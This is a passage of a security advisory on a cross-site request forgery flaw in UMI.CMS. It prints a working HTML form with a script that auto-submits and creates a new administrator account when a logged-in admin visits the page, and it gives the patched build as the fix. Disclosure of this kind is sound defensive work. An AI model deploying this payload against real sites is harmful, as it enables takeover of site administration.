This can be exploited to perform any actions with administrator privileges, such as adding new administrator to the system. A remote attacker can create a specially crafted webpage, trick a logged-in administrator to open it and create new user with administrative privileges. A basic CSRF exploit below will create new administrator with "csrfuser" as a login and "password" as a password: <form action="http://[host]/admin/users/add/user/do/" method="post" name="main"> <input type="hidden" name="data[new][login]" value="csrfuser"> <input type="hidden" name="data[new][password][]" value="password"> <input type="hidden" name="data[new][e-mail]" value="user@mail.com"> <input type="hidden" name="data[new][is_activated]" value="1"> <input type="hidden" name="data[new][fname]" value="username"> <input type="hidden" name="data[new][groups][]" value="1"> <input type="hidden" name="data[new][groups][]" value="2"> <input type="hidden" name="" value=""> <input type="submit" id="btn"> </form> <script> document.main.submit(); </script> ----------------------------------------------------------------------------------------------- Solution: Upgrade to UMI.CMS 2.9 build 21905 Changelog: http://www.umi-cms.ru/support/changelog/ (task number 17390) ----------------------------------------------------------------------------------------------- References: [1] High-Tech Bridge Advisory HTB23151 - https://www.htbridge.com/advisory/HTB23151 - Cross-Site Request Forgery (CSRF) in UMI.CMS [2] UMI.CMS - http://umi-cms.ru - UMI.CMS is a fast and scalable content management system.
